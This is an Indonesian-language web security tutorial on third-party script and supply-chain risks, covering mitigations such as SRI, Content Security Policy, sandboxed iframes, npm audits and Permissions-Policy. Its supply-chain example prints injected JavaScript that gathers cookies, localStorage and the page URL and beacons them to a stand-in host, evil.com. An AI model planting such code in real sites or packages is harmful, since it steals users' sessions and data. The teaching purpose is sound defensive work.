Third-Party Script Risks — Security

Risiko Third-Party Scripts Hampir semua website modern memuat script dari pihak ketiga: analytics, ads, chat widgets, social media embeds. Setiap script ekstern

Risiko Third-Party Scripts

Hampir semua website modern memuat script dari pihak ketiga: analytics, ads, chat widgets, social media embeds. Setiap script eksternal adalah potensi attack vector karena berjalan dengan hak akses penuh di origin website kita.

Apa yang Bisa Dilakukan Third-Party Script?

Contoh Insiden Supply Chain

// Kasus: package npm popular di-compromise
// Penyerang menyisipkan kode pencurian data:
(function() {
    const data = {
        cookies: document.cookie,
        storage: JSON.stringify(localStorage),
        url: location.href
    };
    navigator.sendBeacon("https://evil.com/collect", JSON.stringify(data));
})();
// Semua website yang menggunakan package tersebut terpengaruh!

Strategi Mitigasi

1. Subresource Integrity (SRI)

<script
    src="https://cdn.example.com/analytics.js"
    integrity="sha384-..."
    crossorigin="anonymous"
></script>
<!-- Jika file berubah, browser menolak memuat -->

2. Content Security Policy

// Batasi script hanya dari sumber terpercaya
Content-Security-Policy: script-src 'self' https://trusted-cdn.com

3. Sandbox iframe untuk Widget

<!-- Isolasi third-party widget dalam iframe sandboxed -->
<iframe
    src="https://widget.example.com"
    sandbox="allow-scripts allow-same-origin"
    loading="lazy"
></iframe>
<!-- Widget tidak bisa akses DOM parent, cookies, atau localStorage -->

4. Audit Dependencies Secara Berkala

# npm audit — cek vulnerability di dependencies
npm audit

# Gunakan lockfile untuk pin versi
npm ci  # Install berdasarkan lock file

# Tools untuk monitoring
# - Snyk
# - Dependabot (GitHub)
# - Socket.dev

5. Permission Policy

// Batasi fitur browser yang bisa diakses
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
// Third-party scripts tidak bisa mengakses camera, microphone

Best Practices

Yang akan kamu pelajari